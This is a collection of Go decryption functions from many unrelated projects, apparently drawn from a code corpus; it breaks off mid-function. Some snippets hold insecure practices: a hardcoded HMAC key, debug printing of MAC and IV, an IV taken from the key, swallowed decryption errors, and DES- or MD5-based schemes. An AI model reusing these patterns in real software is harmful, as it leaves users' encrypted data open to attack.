"func (e aesGCMEncodedEncryptor) Decrypt(ciphertext string) (plaintext string, err error) {\n\tif len(e.primaryKey) < requiredKeyLength && len(e.secondaryKey) < requiredKeyLength {\n\t\treturn \"\", &EncryptionError{errors.New(\"no valid keys available\")}\n\t}\n\n\t// If the ciphertext does not contain the separator, or has a new line,\n\t// it is definitely not encrypted.\n\tif !strings.Contains(ciphertext, separator) ||\n\t\tstrings.Contains(ciphertext, \"\\n\") {\n\t\treturn ciphertext, nil\n\t}\n\n\tvar keyToDecrypt []byte\n\n\t// Use the keyHash prefix to determine if we can decrypt it or whether it is encrypted at all.\n\tif strings.HasPrefix(ciphertext, e.PrimaryKeyHash()+separator) {\n\t\tciphertext = ciphertext[len(e.PrimaryKeyHash()+separator):]\n\t\tkeyToDecrypt = e.primaryKey\n\t} else if strings.HasPrefix(ciphertext, e.SecondaryKeyHash()+separator) {\n\t\tciphertext = ciphertext[len(e.SecondaryKeyHash()+separator):]\n\t\tkeyToDecrypt = e.secondaryKey\n\t} else {\n\t\treturn \"\", ErrDecryptAttemptedButFailed\n\t}\n\n\tdecodedCiphertext, err := base64.StdEncoding.DecodeString(ciphertext)\n\tif err != nil {\n\t\treturn \"\", &EncryptionError{err}\n\t}\n\n\tplainbytes, err := gcmDecrypt(decodedCiphertext, keyToDecrypt)\n\tif err != nil {\n\t\treturn \"\", &EncryptionError{err}\n\t}\n\treturn string(plainbytes), nil\n}", "func (i *GPG) Decrypt(\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Decrypt(i.ctx, b)\n}", "func Decrypt(ciphertext string) (string, error) {\n\treturn defaultEncryptor.Decrypt(ciphertext)\n}", "func DecryptByCBCMode(key []byte, cipherText []byte) (string, error) {\n\tif len(cipherText) < aes.BlockSize + sha256.Size {\n\t\tpanic(\"cipher text must be longer than blocksize\")\n\t} else if len(cipherText) % aes.BlockSize != 0 {\n\t\tpanic(\"cipher text must be multiple of blocksize(128bit)\")\n\t}\n\n\tmacSize := len(cipherText) - sha256.Size\n\tmacMessage := cipherText[macSize:]\n\tmac := hmac.New(sha256.New, []byte(\"12345678912345678912345678912345\")) // sha256のhmac_key(32 byte)\n\tmac.Write(cipherText[:macSize])\n\texpectedMAC := mac.Sum(nil)\n\n\tif !hmac.Equal(macMessage, expectedMAC) {\n\t\treturn \"\", errors.New(\"Failed Decrypting\")\n\t}\n\n\tiv := cipherText[:aes.BlockSize]\n\tplainText := make([]byte, len(cipherText[aes.BlockSize:macSize]))\n\tblock, err := aes.NewCipher(key); if err != nil {\n\t\treturn \"\", err\n\t}\n\tcbc := cipher.NewCBCDecrypter(block, iv)\n\tcbc.CryptBlocks(plainText, cipherText[aes.BlockSize:macSize])\n\n\tfmt.Printf(\"MAC: %v\\n\", macMessage)\n\tfmt.Printf(\"IV: %v\\n\", cipherText[:aes.BlockSize])\n\tfmt.Printf(\"Cipher Text: %v\\n\", cipherText[aes.BlockSize:macSize])\n\n\treturn string(UnPadByPkcs7(plainText)), nil\n}", "func decrypt(password []byte, encrypted []byte) ([]byte, error) {\n\tsalt := encrypted[:SaltBytes]\n\tencrypted = encrypted[SaltBytes:]\n\tkey := makeKey(password, salt)\n\n\tblock, err := aes.NewCipher(key)\n\n\tif err != nil {\n\t\treturn nil, err // @todo FailedToDecrypt\n\t}\n\n\tif len(encrypted) < aes.BlockSize {\n\t\t// Cipher is too short\n\t\treturn nil, err // @todo FailedToDecrypt\n\t}\n\n\tiv := encrypted[:aes.BlockSize]\n\tencrypted = encrypted[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\tstream.XORKeyStream(encrypted, encrypted)\n\n\treturn encrypted, nil\n}", "func (a *Age) Decrypt(ctx context.Context, ciphertext []byte) ([]byte, error) {\n\tctx = ctxutil.WithPasswordCallback(ctx, func(prompt string) ([]byte, error) {\n\t\tpw, err := a.askPass.Passphrase(prompt, \"Decrypting\")\n\t\treturn []byte(pw), err\n\t})\n\tids, err := a.getAllIds(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn a.decrypt(ciphertext, ids...)\n}", "func (c *Client) DecryptPassword() (string, error) {\n\tif len(c.Password) == 0 || len(c.HandleOrEmail) == 0 {\n\t\treturn \"\", errors.New(\"You have to configure your handle and password by `cf config`\")\n\t}\n\treturn decrypt(c.HandleOrEmail, c.Password)\n}", "func (e SharedSecretEncryptions) Decrypt(oid commontypes.OracleID, k types.OffchainKeyring) (*[SharedSecretSize]byte, error) {\n\tif oid < 0 || len(e.Encryptions) <= int(oid) {\n\t\treturn nil, errors.New(\"oid out of range of SharedSecretEncryptions.Encryptions\")\n\t}\n\n\tdhPoint, err := k.ConfigDiffieHellman(e.DiffieHellmanPoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tkey := crypto.Keccak256(dhPoint[:])[:16]\n\n\tsharedSecret := aesDecryptBlock(key, e.Encryptions[int(oid)][:])\n\n\tif common.BytesToHash(crypto.Keccak256(sharedSecret[:])) != e.SharedSecretHash {\n\t\treturn nil, errors.Errorf(\"decrypted sharedSecret has wrong hash\")\n\t}\n\n\treturn &sharedSecret, nil\n}", "func (m *TripleDesCFB) Decrypt(key, s string) (string, error) {\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbsd, err := base64.StdEncoding.DecodeString(strings.Replace(s, kpassSign, \"\", -1))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tacd, err := gocrypto.TripleDesCFBDecrypt(bsd)\n\tif !strings.Contains(string(acd), kpassSign) {\n\t\treturn \"\", errors.New(\"desKey is error\")\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn strings.Replace(string(acd), kpassSign, \"\", -1), err\n}", "func DecryptString(k string, s string) (string, error) {\n\tkey := []byte(k)\n\n\tciphertext, err := hex.DecodeString(s)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to decode ciphertext: %w\", err)\n\t}\n\n\tplaintext, err := decrypt(key, ciphertext)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to decrypt string: %w\", err)\n\t}\n\n\treturn plaintext, nil\n\n}", "func decrypt(encodedData string, secret []byte) (string, error) {\r\n\tencryptData, err := base64.URLEncoding.DecodeString(encodedData)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonceSize := aead.NonceSize()\r\n\tif len(encryptData) < nonceSize {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce, cipherText := encryptData[:nonceSize], encryptData[nonceSize:]\r\n\tplainData, err := aead.Open(nil, nonce, cipherText, nil)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn string(plainData), nil\r\n}", "func __decryptString(key []byte, enc string) string {\n\tdata, err := base64.StdEncoding.DecodeString(enc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsaltHeader := data[:aes.BlockSize]\n\tif string(saltHeader[:7]) != openSSLSaltHeader {\n\t\tlog.Fatal(\"String doesn't appear to have been encrypted with OpenSSL\")\n\t}\n\tsalt := saltHeader[8:]\n\tcreds := __extractOpenSSLCreds(key, salt)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn string(__decrypt(creds.key, creds.iv, data))\n}", "func Decrypt(encryptedKey []byte, data string) ([]byte, error) {\n\tblock, err := aes.NewCipher(encryptedKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tciphertext, err := base64.StdEncoding.DecodeString(data)\n\tiv := encryptedKey[:aes.BlockSize]\n\tblockMode := cipher.NewCBCDecrypter(block, iv)\n\tdecryptedData := make([]byte, len(data))\n\tblockMode.CryptBlocks(decryptedData, ciphertext)\n\tmsg := unpad(decryptedData)\n\treturn msg[block.BlockSize():], err\n}", "func (d Decryptor) Decrypt(bs []byte) ([]byte, error) {\n\tswitch d.Algorithm {\n\tcase \"\", AlgoPBEWithMD5AndDES:\n\t\tif d.Password == \"\" {\n\t\t\treturn nil, ErrEmptyPassword\n\t\t}\n\t\treturn DecryptJasypt(bs, d.Password)\n\t}\n\treturn nil, fmt.Errorf(\"unknown jasypt algorithm\")\n}", "func (t *Thread) Decrypt(data []byte) ([]byte, error) {\n\treturn crypto.Decrypt(t.PrivKey, data)\n}", "func (o *OpenSSL) DecryptString(passphrase, encryptedBase64String string) ([]byte, error) {\n\tdata, err := base64.StdEncoding.DecodeString(encryptedBase64String)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(data) < aes.BlockSize {\n\t\treturn nil, fmt.Errorf(\"Data is too short\")\n\t}\n\tsaltHeader := data[:aes.BlockSize]\n\tif string(saltHeader[:8]) != o.openSSLSaltHeader {\n\t\treturn nil, fmt.Errorf(\"Does not appear to have been encrypted with OpenSSL, salt header missing.\")\n\t}\n\tsalt := saltHeader[8:]\n\tcreds, err := o.extractOpenSSLCreds([]byte(passphrase), salt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn o.decrypt(creds.key, creds.iv, data)\n}", "func DecryptByBlockSecretKey(key []byte, cipherText []byte) string {\n\tc, err := aes.NewCipher(key); if err != nil {\n\t\tfmt.Println(err.Error())\n\t\treturn \"\"\n\t}\n\n\tplainText := make([]byte, aes.BlockSize)\n\tc.Decrypt(plainText, cipherText)\n\n\treturn string(plainText)\n}", "func (d *Decrypter) Decrypt(ciphertext []byte) ([]byte, error) {\n\tif ciphertext == nil {\n\t\treturn nil, fmt.Errorf(\"invalid ciphertext: nil\")\n\t}\n\n\tvar salt [saltLen]byte\n\tcopy(salt[:], ciphertext[:saltLen])\n\n\t// Check our cache to see if we have already calculated the AES key\n\t// as it's expensive.\n\tcipher, ok := d.ciphers[salt]\n\tif !ok {\n\t\taesKey, e := aesKeyFromPasswordAndSalt(d.password, salt[:])\n\t\tif e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\tdefer func(aesKey []byte) {\n\t\t\tfor i := range aesKey {\n\t\t\t\taesKey[i] = 0\n\t\t\t}\n\t\t}(aesKey)\n\n\t\tcipher, e = xts.NewCipher(aes.NewCipher, aesKey)\n\t\tif e != nil {\n\t\t\treturn nil, e\n\t\t}\n\t\td.ciphers[salt] = cipher\n\t}\n\n\tciphertext = ciphertext[saltLen:]\n\n\tplaintext := make([]byte, len(ciphertext))\n\tcipher.Decrypt(plaintext, ciphertext, xtsSectorNum)\n\ti := 0\n\n\t// Check magic bytes\n\tif bytes.Compare(plaintext[i:i+len(magicBytes)], magicBytes) != 0 {\n\t\treturn nil, fmt.Errorf(\"bad password\")\n\t}\n\ti += len(magicBytes)\n\n\t// Check version\n\tif plaintext[i] > version {\n\t\treturn nil, fmt.Errorf(\"unsupported version: we are version '%d' and the content is version '%d'\", version, plaintext[i])\n\t}\n\ti++\n\n\t// Jump over padding\n\tpaddingLen := plaintext[i]\n\ti += 1 + int(paddingLen)\n\n\tstoredDigest := plaintext[i : i+sha512DigestLen]\n\ti += sha512DigestLen\n\n\tplaintext = plaintext[i:]\n\n\trealDigest := sha512.Sum512(plaintext)\n\tif bytes.Compare(storedDigest, realDigest[:]) != 0 {\n\t\treturn nil, fmt.Errorf(\"message authentication code mismatch: data is corrupted and may have been tampered with\")\n\t}\n\n\treturn plaintext, nil\n}", "func (s *Client) Decrypt(ctx context.Context, encrypted []byte, additionalAuthData string) ([]byte, error) {\n\treq := &kmspb.DecryptRequest{\n\t\tName: s.cryptoKeyID,\n\t\tCiphertext: encrypted,\n\t\tAdditionalAuthenticatedData: []byte(additionalAuthData),\n\t}\n\tresp, err := s.client.Decrypt(ctx, req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"kms.Decrypt(%+v) failed: %v\", req.Name, err)\n\t}\n\treturn resp.Plaintext, nil\n}", "func (ckms *CKMS) DecryptRaw(cipherText []byte) ([]byte, error) {\n\n\tresult, err := ckms.svc.Decrypt(&kms.DecryptInput{CiphertextBlob: cipherText})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn result.Plaintext, nil\n}", "func (c *Cipher) Decrypt(encoded string, context map[string]*string) (string, error) {\n\n\tencrypted, err := decode(encoded)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, err := kms.DecryptDataKey(c.Client, encrypted.keyCiphertext, context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintext, err := decryptBytes(key.Plaintext, encrypted.ciphertext)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(plaintext), nil\n\n}", "func doDecrypt(ctx context.Context, data string, subscriptionID string, providerVaultName string, providerKeyName string, providerKeyVersion string) ([]byte, error) {\n\tkvClient, vaultBaseUrl, keyName, keyVersion, err := getKey(subscriptionID, providerVaultName, providerKeyName, providerKeyVersion)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tparameter := kv.KeyOperationsParameters {\n\t\tAlgorithm: kv.RSA15,\n\t\tValue: &data,\n\t}\n\t\n\tresult, err := kvClient.Decrypt(vaultBaseUrl, keyName, keyVersion, parameter)\n\tif err != nil {\n\t\tfmt.Print(\"failed to decrypt, error: \", err)\n\t\treturn nil, err\n\t}\n\tbytes, err := base64.RawURLEncoding.DecodeString(*result.Result)\n\treturn bytes, nil\n}", "func GroupDecrypt(encrypted *Encrypted, keyID string, privateKeyPem string) (string, error) {\n\tvar privateKey interface{}\n\tvar err error\n\n\tif encrypted.Mode != \"aes-cbc-256+rsa\" {\n\t\treturn \"\", fmt.Errorf(\"Invalid mode '%s'\", encrypted.Mode)\n\t}\n\n\tif len(privateKeyPem) == 0 {\n\t\treturn \"\", fmt.Errorf(\"Private key pem is 0 bytes\")\n\t}\n\n\t// TODO - check errors\n\tciphertext, _ := Base64Decode([]byte(encrypted.Ciphertext))\n\tiv, _ := Base64Decode([]byte(encrypted.Inputs[\"iv\"]))\n\tencryptedKey, _ := Base64Decode([]byte(encrypted.Keys[keyID]))\n\tprivateKey, err = PemDecodePrivate([]byte(privateKeyPem))\n\tkey, err := Decrypt(encryptedKey, privateKey)\n\tplaintext, err := AESDecrypt(ciphertext, iv, key)\n\treturn string(plaintext), err\n}", "func Decrypt() error {\n\treader := bufio.NewReader(os.Stdin)\n\n\tvar repoPath string\n\tvar dbPath string\n\tvar filename string\n\tvar testnet bool\n\tvar err error\n\tfor {\n\t\tfmt.Print(\"Decrypt the mainnet or testnet db?: \")\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tif strings.Contains(strings.ToLower(resp), \"mainnet\") {\n\t\t\trepoPath, err = getRepoPath(false)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tfilename = \"mainnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot decrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the daemon at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else if strings.Contains(strings.ToLower(resp), \"testnet\") {\n\t\t\trepoPath, err = getRepoPath(true)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(err)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\ttestnet = true\n\t\t\tfilename = \"testnet.db\"\n\t\t\tdbPath = path.Join(repoPath, \"datastore\", filename)\n\t\t\trepoLockFile := filepath.Join(repoPath, lockfile.LockFile)\n\t\t\tif _, err := os.Stat(repoLockFile); !os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Cannot decrypt while the daemon is running.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif _, err := os.Stat(dbPath); os.IsNotExist(err) {\n\t\t\t\tfmt.Println(\"Database does not exist. You may need to run the node at least once to initialize it.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tbreak\n\t\t} else {\n\t\t\tfmt.Println(\"No comprende\")\n\t\t}\n\t}\n\tfmt.Print(\"Enter your password: \")\n\tbytePassword, _ := terminal.ReadPassword(int(syscall.Stdin))\n\tfmt.Println(\"\")\n\tpw := string(bytePassword)\n\tpw = strings.Replace(pw, \"'\", \"''\", -1)\n\tsqlliteDB, err := Create(repoPath, pw, testnet)\n\tif err != nil || sqlliteDB.Config().IsEncrypted() {\n\t\tfmt.Println(\"Invalid password\")\n\t\treturn err\n\t}\n\tif err := os.MkdirAll(path.Join(repoPath, \"tmp\", \"datastore\"), os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\ttmpDB, err := Create(path.Join(repoPath, \"tmp\"), \"\", testnet)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tinitDatabaseTables(tmpDB.db, \"\")\n\tif err := sqlliteDB.Copy(path.Join(repoPath, \"tmp\", \"datastore\", filename), \"\"); err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\terr = os.Rename(path.Join(repoPath, \"tmp\", \"datastore\", filename), path.Join(repoPath, \"datastore\", filename))\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn err\n\t}\n\tos.RemoveAll(path.Join(repoPath, \"tmp\"))\n\tfmt.Println(\"Success!\")\n\treturn nil\n}", "func DecryptJasypt(encrypted []byte, password string) ([]byte, error) {\n\tif len(encrypted) < des.BlockSize {\n\t\treturn nil, fmt.Errorf(\"Invalid encrypted text. Text length than block size.\")\n\t}\n\n\tsalt := encrypted[:des.BlockSize]\n\tct := encrypted[des.BlockSize:]\n\n\tkey, err := PBKDF1MD5([]byte(password), salt, 1000, des.BlockSize*2)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tiv := key[des.BlockSize:]\n\tkey = key[:des.BlockSize]\n\n\tb, err := des.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdst := make([]byte, len(ct))\n\tbm := cipher.NewCBCDecrypter(b, iv)\n\tbm.CryptBlocks(dst, ct)\n\n\t// Remove any padding\n\tpad := int(dst[len(dst)-1])\n\tdst = dst[:len(dst)-pad]\n\n\treturn dst, nil\n}", "func Decrypt(crypt []byte, key []byte) (out []byte, err error) {\n\tc, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgcm, err := cipher.NewGCM(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tnonceSize := gcm.NonceSize()\n\tif len(crypt) < nonceSize {\n\t\terr = fmt.Errorf(\"crypt text too short\")\n\t\treturn\n\t}\n\n\tnonce, crypt := crypt[:nonceSize], crypt[nonceSize:]\n\tout, err = gcm.Open(nil, nonce, crypt, nil)\n\n\treturn\n}", "func (sb *SecretBackend) Decrypt(encrypted []string) (map[string]string, error) {\n\tif !sb.isConfigured() {\n\t\treturn nil, NewDecryptorError(errors.New(\"secret backend command not configured\"), false)\n\t}\n\n\treturn sb.fetchSecret(encrypted)\n}", "func decryptBytes(key []byte, ciphertext []byte) ([]byte, error) {\n\t// Create the cipher and aead.\n\ttwofishCipher, err := twofish.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create twofish cipher: \" + err.Error())\n\t}\n\taead, err := cipher.NewGCM(twofishCipher)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create AEAD: \" + err.Error())\n\t}\n\n\t// Check for a nonce to prevent panics.\n\tif len(ciphertext) < aead.NonceSize()+numVerificationBytes {\n\t\treturn nil, errors.New(\"input ciphertext is not long enough and cannot be decrypted\")\n\t}\n\n\t// Decrypt the data, verify that the key is correct (with high\n\t// probability), and return.\n\tfulltext, err := aead.Open(nil, ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():], nil)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to decrypt data: \" + err.Error())\n\t}\n\tzeroes := make([]byte, numVerificationBytes)\n\tif !bytes.Equal(zeroes, fulltext[:6]) {\n\t\treturn nil, errors.New(\"key appears to be incorrect\")\n\t}\n\treturn fulltext[6:], nil\n}", "func DecryptWithPrivateKeyString(privateKey, data string) (string, error) {\r\n\r\n\t// Get private key\r\n\trawPrivateKey, _, err := PrivateAndPublicKeys(privateKey)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\t// Decrypt\r\n\treturn DecryptWithPrivateKey(rawPrivateKey, data)\r\n}", "func DecryptSymmetric(ciphertext []byte, secret []byte) (plaintext []byte, err error) {\n\tif len(secret) != secretLen {\n\t\tpanic(fmt.Sprintf(\"Secret must be 32 bytes long, got len %v\", len(secret)))\n\t}\n\tif len(ciphertext) <= secretbox.Overhead+nonceLen {\n\t\treturn nil, errors.New(\"ciphertext is too short\")\n\t}\n\tnonce := ciphertext[:nonceLen]\n\tnonceArr := [nonceLen]byte{}\n\tcopy(nonceArr[:], nonce)\n\tsecretArr := [secretLen]byte{}\n\tcopy(secretArr[:], secret)\n\tplaintext = make([]byte, len(ciphertext)-nonceLen-secretbox.Overhead)\n\t_, ok := secretbox.Open(plaintext[:0], ciphertext[nonceLen:], &nonceArr, &secretArr)\n\tif !ok {\n\t\treturn nil, errors.New(\"ciphertext decryption failed\")\n\t}\n\treturn plaintext, nil\n}", "func decrypt(c []byte, k key) (msg []byte, err error) {\n\t// split the nonce and the cipher\n\tnonce, c, err := splitNonceCipher(c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// decrypt the message\n\tmsg, ok := box.OpenAfterPrecomputation(msg, c, nonce, k)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Cannot decrypt, malformed message\")\n\t}\n\treturn msg, nil\n}", "func (r *RSA) Decrypt(ciphertext string) (string, error) {\n\tif r.PrivateKey == nil {\n\t\treturn \"\", errors.New(\"missing private key\")\n\t}\n\n\tcipherBuf, err := r.decode(ciphertext)\n\n\tplaintext, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, r.PrivateKey, cipherBuf, nil)\n\tif err != nil {\n\t\treturn \"\", nil\n\t}\n\n\treturn string(plaintext), nil\n}", "func (constr Construction) Decrypt(dst, src []byte) {\n\ttemp := [16]byte{}\n\tcopy(temp[:], src)\n\n\ttemp = encoding.ComposedBlocks(constr).Decode(temp)\n\n\tcopy(dst, temp[:])\n}", "func AesCbcDecrypt(data string, passphrase string) (string, error) {\n\t// ensure data has value\n\tif len(data) == 0 {\n\t\treturn \"\", errors.New(\"Data to Decrypt is Required\")\n\t}\n\n\t// ensure passphrase is 32 bytes\n\tif len(passphrase) < 32 {\n\t\treturn \"\", errors.New(\"Passphrase Must Be 32 Bytes\")\n\t}\n\n\t// cut the passphrase to 32 bytes only\n\tpassphrase = util.Left(passphrase, 32)\n\n\t// convert data and passphrase into byte array\n\ttext, err := util.HexToByte(data)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey := []byte(passphrase)\n\n\t// create aes cipher\n\tc, err1 := aes.NewCipher(key)\n\n\t// on error stop\n\tif err1 != nil {\n\t\treturn \"\", err1\n\t}\n\n\t// ensure cipher block size appropriate\n\tif len(text) < aes.BlockSize {\n\t\treturn \"\", errors.New(\"Cipher Text Block Size Too Short\")\n\t}\n\n\t// iv needs to be unique, doesn't have to secured,\n\t// it's common to put iv at the beginning of the cipher text\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\n\t// cbc mode always work in whole blocks\n\tif len(text)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"Cipher Text Must Be In Multiple of Block Size\")\n\t}\n\n\t// decrypt\n\tmode := cipher.NewCBCDecrypter(c, iv)\n\tmode.CryptBlocks(text, text)\n\n\t// return decrypted data\n\treturn strings.ReplaceAll(string(text[:]), ascii.AsciiToString(ascii.NUL), \"\"), nil\n}", "func Decrypt(params *Params, key *PrivateKey, cipher *Cipher) *cryptutils.Encryptable {\n\tnodeID := make([]int, *params.userHeight, *params.userHeight)\n\tplaintext := treeDecrypt(params, key.root, 1, *params.userSize, cipher, nodeID, 0)\n\treturn plaintext\n}", "func decrypt(value []byte, key Key) ([]byte, error) {\n\tenc, err := b64.StdEncoding.DecodeString(string(value))\n\tif err != nil {\n\t\treturn value, err\n\t}\n\n\tnsize := key.cipherObj.NonceSize()\n\tnonce, ciphertext := enc[:nsize], enc[nsize:]\n\n\treturn key.cipherObj.Open(nil, nonce, ciphertext, nil)\n}", "func decrypt(encoded string, key []byte) (string, error) {\n\tcipherText, err := base64.URLEncoding.DecodeString(encoded)\n\tif err != nil {\n\t\treturn encoded, err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn encoded, err\n\t}\n\tif len(cipherText) < aes.BlockSize {\n\t\terr = errors.New(\"ciphertext block size is too short\")\n\t\treturn encoded, err\n\t}\n\tiv := cipherText[:aes.BlockSize]\n\tcipherText = cipherText[aes.BlockSize:]\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\tstream.XORKeyStream(cipherText, cipherText)\n\tdecoded := string(cipherText)\n\n\t// By design decrypt with incorrect key must end up with the value\n\tif strings.Index(decoded, anchor) != 0 {\n\t\treturn encoded, nil\n\t}\n\n\tdecoded = strings.Replace(decoded, anchor, \"\", 1) // remove anchor from string\n\treturn decoded, nil\n}", "func Decrypt(ciphertext []byte, key []byte) []byte {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tlogging.ErrorLogger.Println(err.Error())\n\t}\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\tpanic(\"ciphertext is not a multiple of the block size\")\n\t}\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(ciphertext, ciphertext)\n\tciphertext, err = unPad(ciphertext)\n\tif err != nil {\n\t\tlogging.ErrorLogger.Println(err.Error())\n\t}\n\treturn ciphertext\n}", "func (k Key) Decrypt(data []byte, extra ...[]byte) ([]byte, error) {\n\n\tif len(data) < tagSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\n\tplain := data[:len(data)-tagSize]\n\tt := data[len(data)-tagSize:]\n\n\tvar extraData []byte\n\tfor _, e := range extra {\n\t\textraData = append(extraData, e...)\n\t}\n\n\tt2, err := tag(hmac.New(sha512.New, []byte(k)), extraData, plain)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !hmac.Equal(t, t2) {\n\t\treturn nil, errors.New(\"message authentication failed\")\n\t}\n\n\treturn plain, nil\n}", "func (cfg *Config) Decrypt(pw, id string) ([]byte, error) {\n // load the encrypted data entry from disk\n byteArr, err := ioutil.ReadFile(cfg.getOutFilePath(id))\n if err != nil {\n return nil, fmt.Errorf(\"failed to read the encrypted file: %v\", err)\n }\n encFileJSON := &encryptedFileJSON{}\n if err = json.Unmarshal(byteArr, encFileJSON); err != nil {\n return nil, fmt.Errorf(\"failed to parse the encrypted data file: %v\", err)\n }\n\n // decrypt the private key and load it\n privPEM, err := x509.DecryptPEMBlock(cfg.privPem, []byte(pw))\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt RSA private key; bad password? : %v\", err)\n }\n privKey, _ := x509.ParsePKCS1PrivateKey(privPEM)\n\n // use the private key to decrypt the ECEK\n ecekBytes, _ := base64.StdEncoding.DecodeString(encFileJSON.ECEK)\n cek, err := rsa.DecryptOAEP(sha256.New(), rand.Reader, privKey, ecekBytes, make([]byte, 0))\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt CEK: %v\", err)\n }\n\n // use the CEK to decrypt the content\n cipherBlock, err := aes.NewCipher(cek)\n if err != nil {\n return nil, fmt.Errorf(\"failed to create AES cipher block: %v\", err)\n }\n gcm, err := cipher.NewGCM(cipherBlock)\n if err != nil {\n return nil, fmt.Errorf(\"failed to create GCM cipher: %v\", err)\n }\n nonce, _ := base64.StdEncoding.DecodeString(encFileJSON.Nonce)\n cipherText, _ := base64.StdEncoding.DecodeString(encFileJSON.CipherText)\n plainText, err := gcm.Open(nil, nonce, cipherText, nil)\n if err != nil {\n return nil, fmt.Errorf(\"failed to decrypt the file content: %v\", err)\n }\n\n // delete the encrypted content and return the plaintext\n if err = os.Remove(cfg.getOutFilePath(id)); err != nil {\n return plainText, fmt.Errorf(\"failed to delete the encrypted file: %v\", err)\n }\n return plainText, nil\n}", "func (t *Crypto) Decrypt(cipher, aad, nonce []byte, kh interface{}) ([]byte, error) {\n\tkeyHandle, ok := kh.(*keyset.Handle)\n\tif !ok {\n\t\treturn nil, errBadKeyHandleFormat\n\t}\n\n\tps, err := keyHandle.Primitives()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"get primitives: %w\", err)\n\t}\n\n\ta, err := aead.New(keyHandle)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"create new aead: %w\", err)\n\t}\n\n\t// since Tink expects the key prefix + nonce as the ciphertext prefix, prepend them prior to calling its Decrypt()\n\tct := make([]byte, 0, len(ps.Primary.Prefix)+len(nonce)+len(cipher))\n\tct = append(ct, ps.Primary.Prefix...)\n\tct = append(ct, nonce...)\n\tct = append(ct, cipher...)\n\n\tpt, err := a.Decrypt(ct, aad)\n\tif err 